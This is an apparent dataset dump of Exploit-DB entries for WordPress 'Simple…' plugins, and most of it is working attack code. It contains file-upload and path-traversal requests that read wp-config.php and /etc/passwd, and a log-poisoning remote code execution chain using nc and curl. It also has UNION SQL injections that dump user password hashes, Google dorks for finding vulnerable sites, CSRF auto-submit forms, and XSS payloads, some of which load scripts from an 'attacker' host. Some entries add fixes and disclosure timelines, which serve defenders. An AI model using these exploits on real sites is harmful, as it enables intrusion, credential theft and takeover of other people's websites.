deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36614
Description: WordPress Plugin Simple Ads Manager 2.5.94 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-04-02
Author: ITAS Team

Exploit:
#Vulnerability title: Wordpress plugin Simple Ads Manager - Arbitrary File Upload
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.org/minimus/
#Affected version: Simple Ads Manager 2.5.94
#Download link: https://wordpress.org/plugins/simple-ads-manager/
#CVE ID: CVE-2015-2825
#Author: Tran Dinh Tien (tien.d.tran@itas.vn) & ITAS Team


::PROOF OF CONCEPT::

+ REQUEST
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: targer.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 683

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="uploadfile"; filename="info.php"
Content-Type: application/x-php

<?php phpinfo(); ?>
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="action"

upload_ad_image
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]—


+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php

+ Vulnerable code: from line 303 to 314

    case 'sam_ajax_upload_ad_image':
      if(isset($_POST['path'])) {
        $uploadDir = $_POST['path'];
        $file = $uploadDir . basename($_FILES['uploadfile']['name']);

        if ( move_uploaded_file( $_FILES['uploadfile']['tmp_name'], $file )) {
          $out = array('status' => "success");
        } else {
          $out = array('status' => "error");
        }
      }
      break;
	  
	  
+ REFERENCE: 
- http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilities-in-Hakin9-IT-Security-Magazine-78.html?language=en
- https://www.youtube.com/watch?v=8IU9EtUTkxI
Exploit-DB #19020
Description: WordPress Plugin Simple Download Button ShortCode 1.0 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2012-06-08
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - Simple Download Button Shortcode 
Remote File Disclosure Vulnerability
# Version : 1.0
# Link : 
http://wordpress.org/extend/plugins/simple-download-button-shortcode/
# Plugins : 
http://downloads.wordpress.org/plugin/simple-download-button-shortcode.1.0.0.zip
# Date : 30-05-2012
# Google Dork : inurl:/wp-content/plugins/simple-download-button-shortcode/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

http://www.exemple.com/wordpress/wp-content/plugins/simple-download-button-shortcode/simple-download-button_dl.php?file=../../../../wp-config.php

http://www.exemple.com/wordpress/wp-content/plugins/simple-download-button-shortcode/simple-download-button_dl.php?file=../../../../../../../../etc/passwd
Exploit-DB #44425
Description: WordPress Plugin Simple Fields 0.2 - 0.3.5 - Local/Remote File Inclusion / Remote Code Execution
Type: webapps
Platform: php
Date: 2018-04-09
Author: Graeme Robinson

Exploit:
# Exploit Title: Simple Fields 0.2 - 0.3.5 LFI/RFI/RCE
# Date: 2018-04-08
# Exploit Author: Graeme Robinson
# Contact: @Grasec
# Vendor Homepage: http://simple-fields.com
# Software Link: https://downloads.wordpress.org/plugin/simple-fields.0.3.5.zip
# Version: 0.2 - 0.3.5
# Tested on: Ubuntu 16.04.4 + PHP 5.3.0
# Category: webapps


1. Description
Versions 0.2 to 0.3.5 of the Simple Fields WordPress plugin are vulnerable to local file inclusion if running on PHP <5.3.4. This can even lead to remote code execution, for example by injecting php code into the apache logs or if allow_url_include is turned on in php.ini.

PHP <5.3.4 is required because the exploit relies on the ability to inject a null byte to terminate a string before the script expects it to be and this was fixed in PHP 5.3.4

The vulnerability was fixed (commented out) in version 0.3.6 on 2011-02-03. Simple Fields is no longer actively developed, since 2016-02-27 (http://simple-fields.com/2016/bye-bye-simple-fields/)

The vulnerable line of code in simple_fields.php is:
    require( $_GET["wp_abspath"] . './wp-blog-header.php' );


2. Proof of concept
LFI:
    http://host/wordpress/wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=/etc/passwd%00

RCE:
    $ echo "<?system(\$_GET['cmd'])?>"|nc host 80
    $ curl "http://host/wordpress/wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=../../../../../logs/access_log%00&cmd=id"


3. Solutions:
* Upgrade PHP to 5.3.4+
* Update Simple Fields to 0.3.6+
* Stop using Simple Fields because it is no longer supported


4. Relevant Links:
* http://simple-fields.com
* https://wordpress.org/plugins/simple-fields/
* https://downloads.wordpress.org/plugin/simple-fields.0.3.5.zip
* https://github.com/bonny/WordPress-Simple-Fields
Exploit-DB #5127
Description: WordPress Plugin Simple Forum 1.10 < 1.11 - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: S@BUN

Exploit:
###############################################################
#
# Simple Forum Version 1.10-1.11 SQL Injection
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
Simple Forum - Version 1.10
Simple Forum - Version 1.10 - ( 2.1.3)
Simple Forum - Version 1.11

################################################################

EXPLAÄ°N=

sametimes password and username in error massege for axample you can see in

(bazen ÅŸifreler hatalarÄ±n iÃ§indedir)

WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '|admin|b8329b6e20b9f84f7b44ee678a5f484d| WHERE topic_id=-1/**/UNION/**/SELECT/**' at line 1]
UPDATE wp_sftopics SET topic_opened = |admin|b8329b6e20b9f84f7b44ee678a5f484d| WHERE topic_id=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*

################################################################

 DORK 1 :

Simple Forum - Version 1.10
Simple Forum - Version 1.10 - ( 2.1.3)
Simple Forum - Version 1.11

 DORK 2 : allinurl: topic "forums?forum="

################################################################
  example

http://xxxxx/forums?forum=xxxx&topic= (expliot)

  EXPLOÄ°T 1 :

-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*

  EXPLOÄ°T 2 :

SÄ°METÄ°MES YOU CANT SEE (xxxx&topic) SOO USE THÄ°S EXPLOÄ°T AFTER forum=xxx(number)

  example

www.xxxxx/forums?forum=1(expliot)

&topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*


################################################################
# S@BUN                   i AM NOT HACKER                S@BUN
################################################################

# milw0rm.com [2008-02-15]
Exploit-DB #5126
Description: WordPress Plugin Simple Forum 2.0 < 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: S@BUN

Exploit:
###############################################################
#
# Simple Forum Version 2.0-2.1(sf-forum)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################

DORKS 1 :

Simple Forum - Version 2.0 (Build 207)
Simple Forum - SÃ¼rÃ¼m 2.1 (Build 228)
Simple Forum - Version 2.1 (Build 236)

DORK 2 : allinurl: "sf-forum?forum"

################################################################
example :

http://www.xxx.com/sf-forum?forum=[exploit]

EXPLOIT 1 :

-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*

exploit 2 :

-99999/**/UNION/**/SELECT/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),0,0,0,0,0/**/FROM/**/wp_users/*

################################################################
# S@BUN               i AM NOT HACKER               S@BUN
################################################################

# milw0rm.com [2008-02-15]
Exploit-DB #38111
Description: WordPress Plugin Simple Gmail Login - Stack Trace Information Disclosure
Type: webapps
Platform: php
Date: 2012-12-07
Author: Aditya Balapure

Exploit:
source: https://www.securityfocus.com/bid/56860/info

The Simple Gmail Login plugin for Wordpress is prone to an information-disclosure vulnerability.

Attackers can exploit this issue to obtain sensitive information that may lead to further attacks.

Simple Gmail Login 1.1.3 and prior are vulnerable.

Fatal error: Uncaught exception 'Exception' with message
'DateTimeZone::__construct() [<a
href='datetimezone.--construct'>datetimezone.--construct</a>]: Unknown or bad timezone ()' in
C:\xampp\htdocs\wordpress\wp-content\plugins\simple-gmail-login\simple-gmail-login.php:229
Stack trace: #0
C:\xampp\htdocs\wordpress\wp-content\plugins\simple-gmail-login\simple-gmail-login.php(229): 
DateTimeZone->__construct('') #1
C:\xampp\htdocs\wordpress\wp-content\plugins\simple-gmail-login\simple-gmail-login.php(210): 
SimpleGmail_Plugin->log('Plugin activate...', false) #2 [internal
function]: SimpleGmail_Plugin->activate('') #3
C:\xampp\htdocs\wordpress\wp-includes\plugin.php(403): 
call_user_func_array(Array, Array) #4
C:\xampp\htdocs\wordpress\wp-admin\plugins.php(157): 
do_action('activate_simple...') #5 {main} thrown in C:\xampp\htdocs\wordpress\wp-content\plugins\simple-gmail-login\simple-gmail-login.php
on line 229
Exploit-DB #37753
Description: WordPress Plugin Simple Image Manipulator 1.0 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2015-08-10
Author: Larry W. Cashdollar

Exploit:
Title: Remote file download in simple-image-manipulator v1.0 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-16
Download Site: https://wordpress.org/plugins/simple-image-manipulator
Vendor: https://profiles.wordpress.org/kevartpatel/
Vendor Notified: 2015-07-16
Vendor Contact: plugins@wordpress.org
Description: Manipulate your wordpress images using slider and tickboxes.
Vulnerability:
In ./simple-image-manipulator/controller/download.php no checks are made to authenticate user or sanitize input when determining file location:


 14  /* Figure out the MIME type | Check in array */
 15  $known_mime_types=array(
 16         "pdf" => "application/pdf",
 17         "txt" => "text/plain",
 18         "html" => "text/html",
 19         "htm" => "text/html",
 20         "exe" => "application/octet-stream",
 21         "zip" => "application/zip",
 22         "doc" => "application/msword",
 23         "xls" => "application/vnd.ms-excel",
 24         "ppt" => "application/vnd.ms-powerpoint",
 25         "gif" => "image/gif",
 26         "png" => "image/png",
 27         "jpeg"=> "image/jpg",
 28         "jpg" =>  "image/jpg",
 29         "php" => "text/plain"
 30  );
 31 
 32  if($mime_type==''){
 33          $file_extension = strtolower(substr(strrchr($file,"."),1));
 34          if(array_key_exists($file_extension, $known_mime_types)){
 35                 $mime_type=$known_mime_types[$file_extension];
 36          } else {
 37                 $mime_type="application/force-download";
 38          };
 39  };

CVEID:
OSVDB:
Exploit Code:
  • curl -sk "http://server/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd"
Exploit-DB #47182
Description: WordPress Plugin Simple Membership 3.8.4 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2019-07-29
Author: rubyman

Exploit:
# Exploit Title: Cross Site Request Forgery in Wordpress Simple Membership plugin
# Date: 2019-07-27
# Exploit Author: rubyman
# Vendor Homepage: https://wordpress.org/plugins/simple-membership/
# wpvulndb : https://wpvulndb.com/vulnerabilities/9482
# Version: 3.8.4
# Tested on: Windows 8.1
# CVE : CVE-2019-14328

#
# Change localhost to your desired host
#

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/wordpress/wp-admin/admin.php?page=simple_wp_membership&member_action=bulk" method="POST">
      <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;from" value="2" />
      <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;to" value="3" />
      <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;process" value="Bulk&#32;Change&#32;Membership&#32;Level" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #37113
Description: WordPress Plugin Simple Photo Gallery 1.7.8 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2015-05-26
Author: woodspeed

Exploit:
# Exploit Title: Wordpess Simple Photo Gallery Blind SQL Injection
# Date: 12-05-2015
# Exploit Author: woodspeed
# Vendor Homepage: https://wordpress.org/plugins/simple-photo-gallery/
# Version: 1.7.8
# Tested on: Apache 2.2.22, PHP 5.3.10
# OSVDB ID : http://www.osvdb.org/show/osvdb/122374
# WPVULNDB ID : https://wpvulndb.com/vulnerabilities/8000
# Category: webapps

1. Description

Unauthenticated Blind SQL Injection via gallery_id field.

2. Proof of Concept

http://localhost/wordpress/index.php/wppg_photogallery/wppg_photo_details/?gallery_id=1&image_id=14


./sqlmap.py --dbms=MYSQL --technique T -u http://localhost/wordpress/index.php/wppg_photogallery/wppg_photo_details/?gallery_id=1&image_id=14  

sqlmap identified the following injection points with a total of 60 HTTP(s) requests:
---

    Parameter: gallery_id (GET)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: gallery_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))QBzh)


    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: gallery_id=1 UNION ALL SELECT CONCAT(0x[PII_REDACTED],0x76576b586376794b756d,0x71707a7171)--
---

web server operating system: Linux Ubuntu 13.04 or 12.04 or 12.10 (Raring Ringtail or Precise Pangolin or Quantal Quetzal)

web application technology: Apache 2.2.22, PHP 5.3.10

back-end DBMS operating system: Linux Ubuntu

back-end DBMS: MySQL 5.0.12

banner:    '5.5.43-0ubuntu0.12.04.1'

current user:    'wordpress@localhost'

current database:    'wordpress'

---

3. Solution

Fixed in version 1.8.0
Exploit-DB #50150
Description: WordPress Plugin Simple Post 1.1 - 'Text field' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-07-23
Author: Vikas Srivastava

Exploit:
# Exploit Title: WordPress Plugin Simple Post 1.1 - 'Text field' Stored Cross-Site Scripting (XSS)
# Date: 23/07/2021
# Exploit Author: Vikas Srivastava
# Software Link: https://wordpress.org/plugins/simple-post/
# Version: 1.1
# Category: Web Application
# Tested on Mac

How to Reproduce this Vulnerability:

1. Install WordPress 5.7.2
2. Install and activate Simple Post
3. Navigate to Settings >> Simple Post and enter the XSS payload into the Text input field.
4. Click Update Options.
5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality at that time JavaScript payload is executing successfully and we are getting a pop-up.
6. Payload Used: "><script>alert(document.cookie)</script>
Exploit-DB #33896
Description: WordPress Plugin Simple Share Buttons Adder 4.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-06-27
Author: dxw

Exploit:
Details
================
Software: Simple Share Buttons Adder
Version: 4.4
Homepage: https://wordpress.org/plugins/simple-share-buttons-adder/
Advisory report: https://security.dxw.com/advisories/csrf-and-stored-xss-in-simple-share-buttons-adder/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:P)

Description
================
CSRF and stored XSS in Simple Share Buttons Adder 4.4

Vulnerability
================
An attacker able to convince an admin to visit a link of their choosing is able to execute arbitrary javascript in the context of the Homepage, Pages, Posts, Category/Archive pages and post Excerpts.


Proof of concept
================
If a logged-in administrator user clicks the submit button on this form, a javascript alert will display on the homepage. (In a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://scone.local:8000/wp-admin/options-general.php?page=simple-share-buttons-adder\" method=\"POST\">
    <input type=\"hidden\" name=\"ssba_options\" value=\"save\">
    <input type=\"checkbox\" name=\"ssba_homepage\" value=\"Y\">
    <input type=\"text\" name=\"ssba_text_placement\" value= \"below\">
    <input type=\"text\" name=\"ssba_before_or_after\" value= \"after\">
    <input type=\"text\" name=\"ssba_share_text\" value=\"<script>alert(\'foo\')</script>\">
    <input type=\"submit\">
</form>

Mitigations
================
Immediately upgrade to version 4.5 or greater.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2014-06-19: Discovered
2014-06-25: Reported to WP.org and author via email
2014-06-26: Author reports issue fixed in version 4.5

 


Discovered by dxw:
================
Duncan Stuart
Please visit security.dxw.com for more information.
Exploit-DB #37682
Description: WordPress Plugin Simple:Press Forum - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-08-28
Author: Iranian Dark Coders

Exploit:
source: https://www.securityfocus.com/bid/55243/info

The Simple:Press Forum plugin is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

http://www.example.com/wp/wp-content/plugins/simple-forum/forum/uploader/sf-uploader.php?id=4&folder=uploads/forum/petas
Exploit-DB #20361
Description: WordPress Plugin simplemail 1.0.6 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-08
Author: loneferret

Exploit:
#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: SimpleMail 
Version: 1.0.6 (free version)
Vendor Site: http://codecanyon.net/item/wp-simplemail/1130008?ref=tinsley
Software Download: http://wordpress.org/extend/plugins/wp-simplemail/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure

Installed On: Ubuntu LAMP 8.04
Wordpress: 3.3.1
Client Test OS: MAC OS Lion
Browser Used: Firefox 12


Injection Points: To, From, Date, Subject
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} 
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <IFRAME SRC="javascript:alert('XSS');"></IFRAME> 
6: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT>
7: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
8: <SCRIPT SRC=//attacker/.j> 
9: <<SCRIPT>alert("XSS");//<</SCRIPT>
10: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
11: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
12: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT>
13: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT>
14: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT>
15: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>
16: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT>

'''


import smtplib, urllib2
   
payload = """<SCRIPT>alert('XSS')</SCRIPT>"""
   
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local" + payload + "\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
   
username = "hacker@offsec.local"
[CREDENTIAL_REDACTED]"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
   
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
Exploit-DB #24850
Description: WordPress Plugin Simply Poll 1.4.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-03-18
Author: m3tamantra

Exploit:
# Exploit Title: WordPress Simply Poll Plugin 1.4.1 CSRF and stored XSS
# Google Dork: inurl:"/wp-content/plugins/simply-poll
# Date: 16.03.2013
# Exploit Author: m3tamantra
# Vendor Homepage: http://wordpress.org/extend/plugins/simply-poll/
# Software Link: http://downloads.wordpress.org/plugin/simply-poll.1.4.1.zip
# Version: 1.4.1
# Tested on: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli)

Note: After a email to plugins@wordpress.org, "Simply Poll Plugin" was deleted.

Description:
- The question parameter is vulnerable to XSS
- Simply Poll has an CSRF vulnerability (Polls=>Add New) 

The PoC leads to arbitrary javascript execution in back-end area.

Steps to exploit the Flaw:
- Save PoC code in html file
- Send a link (pointing to the PoC html file) to a logged in admin
- When Admin view the Page he will automatically add a new Poll which exploits an XSS vulnerability in the question parameter
- When the admin views the Polls the javascript Code will execute

Note: this was just an example, it is also possible to remove, reset and edit all Polls.

[code]
<html>
<head>
<title>Simply Poll CSRF and XSS</title>
</head>
<body>
<!-- replace "127.0.0.1:9001/wordpress" -->
<form action="http://127.0.0.1:9001/wordpress/wp-admin/admin.php?page=sp-add" method="post">
<input type="hidden" name="question" value='Is CSRF+XSS possible?<script>alert(1)</script>' />
<input type="hidden" name="answers[1][answer]" value="yes" />
<input type="hidden" name="answers[2][answer]" value="no" />
<input type="hidden" name="answers[3][answer]" value="maybe" />
<input type="hidden" name="answers[4][answer]" value="" />
<input type="hidden" name="answers[5][answer]" value="" />
<input type="hidden" name="answers[4][answer]" value="" />
<input type="hidden" name="answers[6][answer]" value="" />
<input type="hidden" name="answers[7][answer]" value="" />
<input type="hidden" name="answers[8][answer]" value="" />
<input type="hidden" name="answers[9][answer]" value="" />
<input type="hidden" name="answers[10][answer]" value="" />
<input type="hidden" name="polledit" value="new" />
</form>
<script>document.forms[0].submit();</script>

</body>
</html>
[/code]